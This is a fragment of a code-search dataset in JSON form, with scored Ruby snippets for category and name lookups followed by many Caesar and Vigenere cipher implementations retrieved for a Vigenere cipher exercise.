"docid": "ece9658361830b06eed2f3b44fcc20c9",
"score": "0.5549628",
"text": "def load_category\n @category = Category.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "d7b9db0663025469e56e861f83c3e3e1",
"score": "0.55452055",
"text": "def find_class_named name\n return self if full_name == name\n return self if @name == name\n\n @classes.values.find do |klass|\n next if klass == self\n klass.find_class_named name\n end\n end",
"title": ""
},
{
"docid": "9d2d49c18d3f9beac2458ef11dc238f5",
"score": "0.55391556",
"text": "def get_category\n current_category = self.category.name\n end",
"title": ""
},
{
"docid": "aa730d3dd89451046ef548d04e2cf885",
"score": "0.5531853",
"text": "def get_catalog_by_name(organization, catalogName)\n result = nil\n\n organization[:catalogs].each do |catalog|\n if catalog[0].downcase == catalogName.downcase\n result = get_catalog(catalog[1])\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "df3937e508b475c5f3065024cc72f26c",
"score": "0.5529146",
"text": "def find_by_name(name)\n Textalk::Theme.list.select { |theme| theme.dig(:params, :component) == name }\n end",
"title": ""
},
{
"docid": "63a1423a0565301ccba7cc774eaace05",
"score": "0.55243164",
"text": "def get_catalog_by_name(organization, catalogName)\n result = nil\n\n organization[:catalogs].each do |catalog|\n if catalog[0].downcase == catalogName.downcase\n result = get_catalog(catalog[1])\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "f997c6f41175688c95b21e983e10d947",
"score": "0.55109316",
"text": "def find_by_name(name)\r\n @internal_list.find {|album| album.name == name}\r\n end",
"title": ""
},
{
"docid": "66d324221c8991bb54f68ee379916515",
"score": "0.550544",
"text": "def category()\n if (order_in_lines.length == 1)\n cat = order_in_lines[0].book_keeping_category\n if (cat)\n return cat.name\n else\n return \"?\"\n end\n else\n return \"?\"\n end\n end",
"title": ""
},
{
"docid": "dbbb4e3c6b6f9e779d25b3786e14250f",
"score": "0.54907554",
"text": "def find(namespace_name = nil)\n return nil if namespace_name.nil?\n\n @namespaces.find { |k| k.name == namespace_name.to_s }\n end",
"title": ""
},
{
"docid": "3e24e5ca70fe3b670ecd19dbd071f8ed",
"score": "0.54846835",
"text": "def category_name=(n)\n self.category = self.vendor.categories.visible.find_by_name(n)\n end",
"title": ""
},
{
"docid": "48efef5f8edd285373ee9b0bceaf2e1c",
"score": "0.5476302",
"text": "def find_by_name(name)\n types[name]\n end",
"title": ""
},
{
"docid": "95b1af9b7c2ebb3271bcde2cc28b6996",
"score": "0.54754657",
"text": "def find_category_attribute_definition(kapp_slug, name, params={}, headers=default_headers)\n @logger.info(\"Finding the \\\"#{name}\\\" Category attribute definition in the \\\"#{kapp_slug}\\\" kapp.\")\n get(\"#{@api_url}/kapps/#{kapp_slug}/categoryAttributeDefinitions/#{encode(name)}\", params, headers)\n end",
"title": ""
},
{
"docid": "8bd0a81b225eefbcd417f0b7f24e9da3",
"score": "0.5470665",
"text": "def category\n Asset.find_by(slug: slug)\n end",
"title": ""
},
{
"docid": "29006101ebc8fb12217d8bbc1d56858f",
"score": "0.544447",
"text": "def by_title(title)\n Products::Categories::Finder.by_title(title)\n end",
"title": ""
},
{
"docid": "800431c4a23fd6b4115f278588cbe791",
"score": "0.54346955",
"text": "def category(id=nil)\n @category = Plaid::Category.new\n res = self.get('categories',id)\n id.nil? ? @category.instantiate_all_categories(res) : @category.instantiate_one_category(res)\n end",
"title": ""
},
{
"docid": "d3f6431425bebfc51f2bfaa3b8ea340a",
"score": "0.5433693",
"text": "def category(jid,node)\n info = get_info(jid,node)\n return info['category']\n end",
"title": ""
},
{
"docid": "5104810a4b6187d2645c416f104eefbd",
"score": "0.54271775",
"text": "def get_category_name(category_id)\n db = SQLite3::Database.new \"#{$script_dir}/cfps.db\"\n category = db.get_first_value(\"select name from category where id = ?\", [category_id])\n\n return categor\nend",
"title": ""
},
{
"docid": "f51dd3f15e4340bfce3c6394dcabe645",
"score": "0.54139507",
"text": "def get_category(blob)\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_category] Entering\")\n\n category = nil\n if !blob[\"category\"].blank?\n\n str = blob[\"category\"].downcase\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_category] adding categories #{str}\")\n\n cat = MAP_CATEGORIES['facebook'][str]\n\n category = cat[0] if !cat.blank?\n\n end\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_category] Leaving\")\n category\n\n rescue => e\n Rails.logger.error(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_category] **** RESCUE **** => #{e.message} for #{blob.inspect}\")\n return nil\n end",
"title": ""
},
{
"docid": "f862531182777b5de32b20a96bd84e8e",
"score": "0.53987706",
"text": "def find(name); end",
"title": ""
},
{
"docid": "8089a4c58ba5ec9d6439484192ca0570",
"score": "0.5396513",
"text": "def find(name)\n result = nil\n connect do |conn|\n begin\n conn.search2(dn(name), 0, \"objectclass=*\") do |result|\n # Convert to puppet-appropriate attributes\n return entry2provider(result)\n end\n rescue => detail\n return nil\n end\n end\n end",
"title": ""
},
{
"docid": "604f9857fef27a3ae4d9d52af5c3f164",
"score": "0.53951883",
"text": "def find_constant_named(name)\n @constants.find {|m| m.name == name}\n end",
"title": ""
},
{
"docid": "fa33c1837ce2b2c39b7a2932ccd3b9a2",
"score": "0.53677785",
"text": "def category(config = {})\n config = config.symbolize_keys\n\n # get subledger id calculated from config\n subledger_id, key = to_subledger_id(:category, config[:id])\n\n if subledger_id.present?\n subledger.categories.read(id: subledger_id)\n else\n # create the category\n the_category = subledger.categories.create description: \"#{config[:id].humanize}\",\n normal_balance: config[:normal_balance],\n version: 1\n # save new mapping\n Mapping.map_entity(\"category\", key, the_category.id)\n\n return the_category\n end\n end",
"title": ""
},
{
"docid": "c3e2ccd8d0c04a44e1ccc643fc9904e8",
"score": "0.5356306",
"text": "def category\n return @category if defined?(@category)\n\n @category = nil\n\n @category = issue.category if issue\n end",
"title": ""
},
{
"docid": "02401a9529904115fb5acfbaa7d2e93b",
"score": "0.535189",
"text": "def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"title": ""
},
{
"docid": "02401a9529904115fb5acfbaa7d2e93b",
"score": "0.535189",
"text": "def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"title": ""
},
{
"docid": "6293365059807dfcb099074a5e60c2e8",
"score": "0.53501445",
"text": "def get_category\n category = params[:subcategory] || params[:category]\n @category = Category.find_by_slug!(category)\n end",
"title": ""
},
{
"docid": "d751198240298e730793723df7ba25b5",
"score": "0.53415614",
"text": "def find_constant_named(name)\n @constants.find do |m|\n m.name == name || m.full_name == name\n end\n end",
"title": ""
},
{
"docid": "0025e24401cb5007de0680f1a81044b2",
"score": "0.53341544",
"text": "def category_search(id)\n cached_request('category',{:id => id})\n end",
"title": ""
},
{
"docid": "005948e31d45dfec16a5e60f8a013d41",
"score": "0.5331436",
"text": "def category\n @services = Service.where(\"category = ?\", params[:category])\n @category = Service.categories.key(params[:category].to_i)\n end",
"title": ""
},
{
"docid": "c3104c5cd1b12cc9821a0ba7ef2583c7",
"score": "0.53305024",
"text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n self.save\n end",
"title": ""
},
{
"docid": "864da2de310d07d5040e69f3637e3687",
"score": "0.5318209",
"text": "def find_category \r\n #Find the property file category based on the path\r\n PropertyFileAttributes::PROPERTY_FILE_CATEGORIES.each do |p|\r\n if @filename.index(p)\r\n @category = p\r\n end\r\n end\r\n if @category == nil\r\n puts \"Unknown property file category: #{@filename}\"\r\n raise\r\n end\r\n end",
"title": ""
},
{
"docid": "24071c761d0ea69b92a3fa20f2dd7f38",
"score": "0.53181696",
"text": "def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"title": ""
}
] |
c5959a5d8c27549c341824c538a9045f | Vigenere Cipher Caesar's cipher takes a word and encrypts it by offsetting each letter in the word by a fixed number, the key. For a key of 3, for example: a > d, p > s, and y > b Vigenere's Cipher is a Caesar cipher, but instead of a single key, a sequence of keys is used. For example, if we encrypt "bananasinpajamas" with the key sequence [1, 2, 3], the result would be "ccqbpdtkqqcmbodt": Word: b a n a n a s i n p a j a m a s Keys: 1 2 3 1 2 3 1 2 3 1 2 3 1 2 3 1 Cipher: c c q b p d t k q q c m b o d t Write a method that takes a string and a keysequence, returning the encrypted word. We're giving you the alphabet as an array if you need it. | [
{
"docid": "87a0b66542b42bf350960d3e5af58725",
"score": "0.74543",
"text": "def vigenere_cipher(string, key_sequence, alphabet)\n #\n # your code goes here\n #\nend",
"title": ""
}
] | [
{
"docid": "8f10907e9af2b7f98095392a278d718c",
"score": "0.8304142",
"text": "def caesar_cipher_encryptor(string, key)\n\talphabet = %w(a b c d e f g h i j k l m n o p q r s t u v w x y z)\n\tnew_alphabet = []\n\twrap_key = key % 26\n for char in string.split(\"\")\n new_index = alphabet.index(char) + wrap_key\n new_alphabet << alphabet[new_index % 26]\n\tend\n\tnew_alphabet.join(\"\")\nend",
"title": ""
},
{
"docid": "559fa5950d0797401625ec46a95afc24",
"score": "0.82370013",
"text": "def vigenere_cipher(string, key_sequence)\n alphabet = (\"a\"..\"z\").to_a\n alphabet.concat(alphabet) # double it to deal with wrapping\n \n chars = string.split('')\n count = 0\n \n for i in 0...chars.length\n # lookup the index of chars[i] in alphabet, then add to it using key sequence\n # and modulo to keep track of which step in the sequence you're at\n chars[i] = alphabet[alphabet.index(chars[i]) + key_sequence[count % key_sequence.length]]\n count += 1\n end\n chars.join('')\nend",
"title": ""
},
{
"docid": "12c554d595f8d765de09d4fa235e9b0e",
"score": "0.81883824",
"text": "def vigenere_cipher(string, key_sequence)\n result = \"\"\n alphabet = (\"a\"..\"z\").to_a\n string.each_char.with_index do |ch, idx|\n key_idx = idx % key_sequence.length\n char_idx = (alphabet.index(ch) + key_sequence[key_idx]) % alphabet.length\n result << alphabet[char_idx]\n end\n result\nend",
"title": ""
},
{
"docid": "b34f0bc73819525529a9ce6c88cf0c46",
"score": "0.8181737",
"text": "def vigenere_cipher(word, key_seq_arr)\n return word if key_seq_arr.empty?\n \n ciphered = \"\"\n word.chars.each_with_index do |char, i|\n # Can't modulo/divide by zero, so take first key manually\n if i == 0 || key_seq_arr.length == 1\n ciphered += cipher_char(char, key_seq_arr.first)\n else\n curr_key = i % key_seq_arr.length\n ciphered += cipher_char(char, key_seq_arr[curr_key])\n end\n end\n\n ciphered\nend",
"title": ""
},
{
"docid": "57cdcab9da60359283293891a45f584a",
"score": "0.8038652",
"text": "def vigenere_cipher(string, key_sequence)\n alphabet = ('a'..'z').to_a\n keys = key_sequence.dup\n result = \"\"\n while result.length < string.length\n c = string[result.length] \n offset = (alphabet.index(c) + keys.first) % 26 \n result += alphabet[offset]\n keys.push(keys.shift)\n end\n result\nend",
"title": ""
},
{
"docid": "a1e283131d3ca445e520cfbc50ba4a66",
"score": "0.8007821",
"text": "def vigenere_cipher(message, keys)\n alphabetic = (\"a\"..\"z\").to_a\n encrypted = \"\"\n\n message.each_char.with_index do |char, i|\n num = keys[i % keys.length]\n index = alphabetic.index(char)\n encrypted += alphabetic[(index + num) % 26]\n end\n \n encrypted\nend",
"title": ""
},
{
"docid": "62181b4b496b4d752239328dcdf1b179",
"score": "0.79863334",
"text": "def caesarCipherEncryptor(string, key)\n new_letters = []\n new_key = key % 26\n alphabet = (\"abcdefghijklmnopqrstuvwxyz\").chars\n\n string.each_char do |letter|\n new_letters.append(get_new_letter(letter, new_key, alphabet))\n end\n return new_letters.join\nend",
"title": ""
},
{
"docid": "1424f5eaca6677a085a8977fe999400c",
"score": "0.7982915",
"text": "def caesar_cipher(text_to_cipher, key)\n # ensure key is a value between 0 and 25\n key = key % 26\n\n text_to_cipher.split(\"\").map do |character|\n if letter?(character)\n shift(character, key)\n else\n character\n end\n end.join(\"\")\n\nend",
"title": ""
},
{
"docid": "b59bff4b5d27c34370ebc6fc6bf68085",
"score": "0.7978289",
"text": "def caesar_cipher(text, key)\n ciphered_text = []\n text.chars.each do |letter|\n ciphered_letter = letter\n if letter.match(/^[[:alpha:]]$/)\n key.times do\n if ciphered_letter == 'z'\n ciphered_letter = 'a'\n elsif ciphered_letter == 'Z'\n ciphered_letter = 'A'\n else\n ciphered_letter = ciphered_letter.next\n end\n end\n end\n ciphered_text << ciphered_letter\n end\n ciphered_text.join('')\nend",
"title": ""
},
{
"docid": "1917eefbc225d86178fb4a7c84221547",
"score": "0.79553866",
"text": "def vigenereCipher(string, key, alphabet)\n aryStr = string.split(\"\")\n nStr = Array.new\n i = 0\n while i < aryStr.length\n j = 0\n while j < key.length\n nStr << (alphabet[(alphabet.index(aryStr[i]) + key[j])])\n j += 1\n i += 1\n end\n end\n return nStr.join('')\nend",
"title": ""
},
{
"docid": "55e286e37e75bb3efaa4cea0c276a0b4",
"score": "0.79379034",
"text": "def vigenere_cipher(message, keys)\n alphabet = (\"a\"..\"z\").to_a\n cipher = message.chars.map.with_index do |c, i|\n # determine which key to use based on position in the message\n offset = keys[i % keys.length]\n new_idx = (alphabet.index(c) + offset) % 26\n alphabet[new_idx]\n end\n cipher.join(\"\")\nend",
"title": ""
},
{
"docid": "7fe17026749e6d276328ed1d48724d7e",
"score": "0.7935924",
"text": "def vigenere_cipher(message, keys)\n alphabet = (\"a\"..\"z\").to_a\n encrypted = \"\"\n\n message.each_char.with_index do |char, idx|\n shift = keys[idx % keys.length]\n encrypted += alphabet[(alphabet.index(char) + shift) % 26]\n end\n\n encrypted\nend",
"title": ""
},
{
"docid": "852c6e7eb6efaa0624cc3c0654f595e5",
"score": "0.7891712",
"text": "def vigenere_cipher(message, keys)\n alpha = (\"a\"..\"z\").to_a\n count = 0\n message.each_char.with_index do |char, idx|\n pos = alpha.index(char)\n #rather than count we can do key alpha[(pos + key[idx % key.length] )% 26]\n message[idx] = alpha[(pos + keys[count]) % alpha.length]\n count += 1\n count = 0 if count == keys.length\n end\n message\nend",
"title": ""
},
{
"docid": "74469ea361743a67bad3da44e8ccb4f9",
"score": "0.7873058",
"text": "def vigenere_cipher(string, key_sequence, alphabet)\r\n\r\nend",
"title": ""
},
{
"docid": "8bd1a54d1206ddbac5261b45ecc027a7",
"score": "0.78610545",
"text": "def vigenere_cipher(message, keys)\n alphabet = ('a'..'z').to_a\n vigenere_str = \"\"\n\n message.each_char.with_index do |char, idx|\n old_idx = alphabet.index(char)\n temp_key = keys.shift\n keys.push(temp_key)\n new_idx = (old_idx + temp_key) % 26\n vigenere_str += alphabet[new_idx]\n end\n vigenere_str\nend",
"title": ""
},
{
"docid": "e633888c296f0de6514ce4f37713dd76",
"score": "0.78285104",
"text": "def cipher(char, key)\n alpha = (\"a\"..\"z\").to_a\n idx = alpha.index(char)\n new_idx = (idx + key) % 26\n alpha[new_idx]\nend",
"title": ""
},
{
"docid": "400a44af04ac18aba39dde2dc014b5b9",
"score": "0.7821134",
"text": "def vigenere_cipher(message, keys)\n alphabet = (\"a\"..\"z\").to_a\n indices = message.split(\"\").map {|char| alphabet.index(char)}\n \n ciphered_message = \"\"\n indices.each_with_index do |n, i|\n shift_amount = keys[i % keys.length]\n new_index = (n + shift_amount) % alphabet.length\n ciphered_message += alphabet[new_index]\n end\n\n ciphered_message\nend",
"title": ""
},
{
"docid": "c61825e659829d05446230ed39eb7da6",
"score": "0.78196037",
"text": "def vigenere_cipher(message, keys)\n alpha = (\"a\"..\"z\").to_a\n new_string = \"\"\n message.each_char.with_index do |char, i|\n old_i = alpha.index(char)\n new_i = (old_i + keys[i % keys.length]) % 26\n new_string += alpha[new_i]\n end\n new_string\nend",
"title": ""
},
{
"docid": "dadcfebf6c1d7d61bc29d2bf65570ae4",
"score": "0.78190726",
"text": "def vigenere_cipher(str,keys)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n\n str.each_char.with_index do |char,idx|\n old_pos = alpha.index(char)\n new_pos = old_pos + keys[idx % keys.length]\n new_str += alpha[new_pos % alpha.length]\n end\n\n new_str\n\nend",
"title": ""
},
{
"docid": "65ecf4059410b7c9adab64d9a7044a19",
"score": "0.7798896",
"text": "def vigenere_cipher(string, keys)\n alpha = ('a'..'z').to_a\n new_word = \"\"\n\n string.each_char.with_index do |char, idx|\n old_idx = alpha.index(char)\n new_idx = old_idx + keys[idx % keys.length]\n new_char = alpha[new_idx % alpha.length]\n new_word += new_char\n end\n\n new_word\nend",
"title": ""
},
{
"docid": "8ffaf98ae50fa73c54a48df0b3b85193",
"score": "0.7795329",
"text": "def textEncryptor(keyword, cipherKey)\n cipherText = \"\"\n\n\n #algorithm that uses key to shift letters encrypting given word\n keyword.each_char do |letter|\n \n oldIndex = $alphabet.find_index(letter)\n newIndex = (oldIndex + cipherKey) % $alphabet.count\n cipherText += $alphabet[newIndex]\n \n end\n\n puts \"The cipher text is: #{cipherText}\"\n\n #begin deciphiring encoded text for human readable original word\n textDecryptor(cipherText, cipherKey)\n\nend",
"title": ""
},
{
"docid": "b097d74e95de1ec19b142d8edb1021a4",
"score": "0.77806175",
"text": "def vigenere_cipher(message, keys)\n new_string = ''\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n\n message.each_char.with_index do |char, idx|\n old_idx = alphabet.index(char)\n if keys.length == 1\n new_idx = keys[0]\n end\n new_idx = keys[idx % keys.length]\n new_pos = old_idx + new_idx\n new_string += alphabet[new_pos % 26]\n end\n\n new_string\nend",
"title": ""
},
{
"docid": "1d792e46687486d471bde3a55d12cda5",
"score": "0.77748686",
"text": "def vigenere_cipher(message, keys)\n alphabet = (\"a\"..\"z\").to_a\n new_msg = \"\"\n\n message.each_char.with_index do |char|\n old_pos = alphabet.index(char)\n new_pos = old_pos + keys[idx % keys.length]\n new_msg += alphabet[new_pos % alphabet.length]\n end\n\n new_msg\nend",
"title": ""
},
{
"docid": "b57149b2cfb1b52ce8900049d083f003",
"score": "0.77712524",
"text": "def vigenere_cipher(string, key_sequence)\n result = \"\"\n string.each_char.with_index do |c, idx|\n key_idx = idx % key_sequence.length\n key = key_sequence[key_idx]\n result << shift(c, key)\n end\n result\nend",
"title": ""
},
{
"docid": "b384af7c403307b05a739ea984df2fdc",
"score": "0.77682775",
"text": "def vigenere_cipher(message, keys)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n vigenere = \"\"\n\n message.each_char.with_index do |char, i|\n index = alphabet.index(char)\n key = keys[i % keys.length].to_i\n new_char = alphabet[(index + key) % 26] \n vigenere += new_char\n end\n\n vigenere\nend",
"title": ""
},
{
"docid": "ed4d71d4b5d19645bc8d212420ac3aea",
"score": "0.77554774",
"text": "def cipher(word, key) \n #create a code for each letter of the alphabet (index == code)\n up_alpha = [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n down_alpha = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n word_arr = []\n word_arr = word.split(//)\n\n #shift the value of each letter in the array \n word_arr.each do |letter|\n new_arr = []\n if up_alpha.include?(letter)\n new_index = up_alpha.index(letter) + key\n #If the new index exceed 25, rollover to index 0 (for uppercase letters)\n if new_index > 25\n new_index = new_index - 26\n new_arr.push(up_alpha[new_index])\n else \n new_arr.push(up_alpha[new_index])\n end\n\n elsif down_alpha.include?(letter)\n new_index = down_alpha.index(letter) + key\n #If the new index exceed 25, rollover to index 0 (for lowercase letters)\n if new_index > 25\n new_index = new_index - 26\n new_arr.push(down_alpha[new_index])\n else \n new_arr.push(down_alpha[new_index])\n end \n else\n new_arr.push(letter)\n end\n #combine the array into a string\n print new_arr.join()\n end\n puts ''\nend",
"title": ""
},
{
"docid": "f2bd7c65f90a18248680bfe59073067e",
"score": "0.7751842",
"text": "def caesar_cipher(offset, string)\n words = string.split(\" \")\n\n word_idx = 0\n while word_idx < words.length\n word = words[word_idx]\n\n letter_idx = 0\n while letter_idx < word.length\n char_i = word[letter_idx].ord - \"a\".ord\n\n new_char_i = (char_i + offset) % 26\n word[letter_idx] = (\"a\".ord + new_char_i).chr\n\n letter_idx += 1\n end\n\n word_idx += 1\n end\n\n return words.join(\" \")\nend",
"title": ""
},
{
"docid": "922bc63d56c9d337deef3f804cffe6b4",
"score": "0.77421224",
"text": "def vigenere_cipher(message, key)\n key_index = 0 \n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n\n message.each_char.with_index do|char,idx|\n new_str += alpha[(alpha.index(char) + key[key_index % key.length])%26]\n key_index += 1\n end\n new_str\nend",
"title": ""
},
{
"docid": "bb77f6b59a969961ce2b9c405aea7c08",
"score": "0.77150184",
"text": "def caesar_cipher(str, num)\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n\n str.each_char.with_index do |char, i|\n shift = alphabet.index(char) + num # shifting num chars in the alphabet\n if shift > 26 # restart at 0 after index 26\n shift -= 26\n end\n str[i] = alphabet[shift]\n end\n\n str\nend",
"title": ""
},
{
"docid": "6801ca51f69ee205f4eac1fc5f03b22c",
"score": "0.7705837",
"text": "def vigenere_cipher(message, keys)\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n if keys.length == 1\n message.each_char do |char|\n alpha_idx = alpha.index(char)\n new_idx = (alpha_idx + keys[0]) % 26\n new_str += alpha[new_idx]\n end\n else\n new_keys = keys\n message.each_char do |char|\n alpha_idx = alpha.index(char)\n new_idx = (alpha_idx + new_keys[0]) % 26\n new_str += alpha[new_idx]\n new_keys.rotate!(1)\n end\n end\n new_str\n \nend",
"title": ""
},
{
"docid": "ff94237684a22e05a284a38d3661b945",
"score": "0.77024484",
"text": "def caesar_cipher(word, length)\n alphabet = (\"a\"..\"z\").to_a\n\n word_as_arr = word.split(\"\")\n encrypted_arr = []\n word_as_arr.each do |char|\n encrypted_arr << alphabet[(alphabet.index(char) + length) % 26]\n end\n\n encrypted_arr.join(\"\")\n end",
"title": ""
},
{
"docid": "96a98680cc0ac0488cc7bd9555adf693",
"score": "0.7698406",
"text": "def vigenere_cipher(message, keys)\n alphabet = ('a'..'z').to_a\n array = []\n\n i = 0\n\n message.each_char do |char|\n idx = alphabet.index(char)\n array << alphabet[(idx + keys[i]) % 26]\n if i < keys.length - 1\n i += 1\n else\n i = 0\n end\n end\n array.join('')\n \nend",
"title": ""
},
{
"docid": "cc0433a88ca22768cc695e06c5189cf3",
"score": "0.76822644",
"text": "def caesar_cipher(string, key) \n\tarr_string = string.downcase.split(\"\") \n\talpha = (\"a\"..\"z\").to_a \n\tfor i in arr_string do \n\t\tif alpha.include?(i) \n\t\t\talpha_index = alpha.index(i) \n\t\t\tstring_index = arr_string.index(i) \n\t\t\tif alpha_index + key > 25 \n\t\t\t\tkey_change = alpha[alpha_index + key - 25 - 1] \n\t\t\t\tarr_string[string_index] = key_change \n\t\t\telse \n\t\t\t\tkey_change = alpha[alpha_index + key] \n\t\t\t\tarr_string[string_index] = key_change \n\t\t\tend \n\t\tend \n\tend \n\tarr_string.join\nend",
"title": ""
},
{
"docid": "3fdfb2bf0dd8f78af1cbb75e8cdc54c1",
"score": "0.7677354",
"text": "def caesar_cipher(str, shift)\n dictionary = (\"a\"..\"z\").to_a\n new_array = []\n str.split(\"\").each do |letter|\n index_letter = dictionary.find_index(letter)\n if index_letter.nil?\n new_array << letter\n else\n new_index = (index_letter + shift) % 26\n\n new_array << dictionary[new_index]\n end\n end\n new_array.join\nend",
"title": ""
},
{
"docid": "c66eb85a5c89834b2fbafec9c5623c1d",
"score": "0.76530224",
"text": "def vigenere_cipher(str, arr)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n str.each_char.with_index do |char, i|\n pos = alpha.index(char)\n key = arr[i % arr.length]\n new_pos = (pos + key) % alpha.length\n new_str += alpha[new_pos]\n end\n new_str\nend",
"title": ""
},
{
"docid": "0248a21824989e3ed5d9bd1968727ee3",
"score": "0.7644856",
"text": "def caesar_cipher(word, shift) \n\n #Checks if 'word' is a String \n unless word.is_a? String\n return \"Input was not text\"\n end\n\n #Initializes a temp word\n new_word = \"\"\n\n #Creates an array of ascii numbers for each letter in 'word'\n word_array = word.codepoints.to_a\n\n #Loops over each letter in 'word' and manipulates\n for i in 0..word_array.length-1\n\n #Keeps track of the letter casing\n lowercase = false\n if word_array[i] >= 97 && word_array[i] <= 122\n lowercase = true\n else\n lowercase = false\n end\n\n #Adds the shift to the letter (checks if the character is a letter and not a symbol or space)\n if word_array[i] >= 65 && word_array[i] <= 122\n word_array[i] += shift\n end\n\n # Checks character ascii values\n if word_array[i] > 122 && lowercase == true\n word_array[i] -= 26\n elsif word_array[i] > 90 && lowercase == false\n word_array[i] -= 26\n end\n new_word += word_array[i].chr\n end\n return new_word\nend",
"title": ""
},
{
"docid": "a754cec12c0fc3367751d97573cae893",
"score": "0.7638669",
"text": "def vigenere_cipher(str, k)\n alpha = (\"a\"..\"z\").to_a\n\n msg = (0...str.length).map do |i|\n old_pos = alpha.index(str[i])\n new_pos = (old_pos + k[i%k.length]) % alpha.length\n alpha[new_pos]\n end\n\n msg.join()\nend",
"title": ""
},
{
"docid": "25f8d527db101d6e02acfdd34379d5e9",
"score": "0.76306564",
"text": "def ceasar_cipher(phrase, shift)\n phrase.downcase!\n words = phrase.split(\" \")\n words.each do |word| #for each word in the sentence\n word.split(\"\").each_with_index do |letter, index| #for each letter in the word\n asciiValue = letter.ord\n if(asciiValue >= 97 && asciiValue <= 122) #if the value is a letter and not a character or digit\n\n newValue = asciiValue + shift\n \n if newValue > 122 #if it goes beyond z, loop around back to a\n difference = newValue - 122\n offset = 96+difference\n letter = offset.chr\n word[index] = letter\n else\n letter = newValue.chr \n word[index] = letter\n end\n end \n end\n end\n puts words.join(\" \")\nend",
"title": ""
},
{
"docid": "7efc33b87edfdcd865d4b91036f66f94",
"score": "0.7627226",
"text": "def vigenere_cipher(msg, arr)\n alphabet = (\"a\"..\"z\").to_a\n new_msg = \"\"\n msg.each_char.with_index do |char, i|\n pos= alphabet.index(char)\n key = arr[i % arr.length]\n new_pos = (pos + key) % alphabet.length\n new_msg += alphabet[new_pos]\n end\n new_msg\nend",
"title": ""
},
{
"docid": "c5ce290f22e510776c8f1f51bee4e05c",
"score": "0.76180446",
"text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvxyz\"\n new_str = \"\"\n \n str.each_char do |char|\n old_idx = alphabet.index(char) # each items index on the alphabet\n\tnew_idx = old_idx + num\n\tnew_char = alphabet[new_idx % 26] # to ensure that results is always less than 26 e.g. 'z' + 4 will fail without this, will now return to 'a' + 4 = 'd'.\n\tnew_str += new_char\n\tend\n \n return new_str\n\nend",
"title": ""
},
{
"docid": "ebaaeaffba80edc0077437b4bb8ababf",
"score": "0.7605949",
"text": "def caesar_cipher(word, shift)\n ascii_shift = 97\n word.each_codepoint.map do |num|\n num = num - ascii_shift + shift\n num = (num % 26) + ascii_shift\n end\n .inject('', :<<)\nend",
"title": ""
},
{
"docid": "169d48062beab0c4aaf8c2cb74cb747f",
"score": "0.7585914",
"text": "def encrypt phrase, key\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\".split(\"\")\n cipherbet = get_cipherbet key\n result = \"\"\n phrase.each_char do |letter|\n encrypted_letter = encrypt_letter alphabet, cipherbet, letter\n result = result + encrypted_letter\n end\n return result\nend",
"title": ""
},
{
"docid": "db1bd7d3b8a92eef3a700580e3fbca19",
"score": "0.7575361",
"text": "def caesarCipher(s, k)\n s.chars.map do |e|\n e = e.ord\n case e\n when 97..122\n e + k > 122 ? (e + k - 122 + 97 - 1) : e + k\n when 65..90\n e + k > 90 ? (e + k - 90 + 65 - 1) : e + k \n else\n e \n end\n end.map{|e| e.chr}.join\nend",
"title": ""
},
{
"docid": "073fdb1d2aafa42df56e3a309f33f682",
"score": "0.75733703",
"text": "def caesar_cipher(str, num)\n new_str = \"\"\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n str.each_char do |char|\n old_index = alphabet.index(char)\n new_index = old_index + num\n new_char = alphabet[new_index % 26] # MOST IMPORTANT STEP!!!!! THIS WILL ALSO TAKE CARE OF new_index > 26\n new_str += new_char\n end\n return new_str\nend",
"title": ""
},
{
"docid": "e13db202f84004afe6c51c4bbe9c11c4",
"score": "0.7553957",
"text": "def vigenere_cipher(str, arr)\n alpha = ('a'..'z').to_a\n new_msg = ''\n\n str.each_char.with_index do |char,idx|\n old_pos = alpha.index(char)\n new_pos = old_pos + arr[idx % arr.length]\n new_msg += alpha[new_pos % 26]\n end\n new_msg\nend",
"title": ""
},
{
"docid": "8923f0be3e79dfd572c6a9f37ac1aec2",
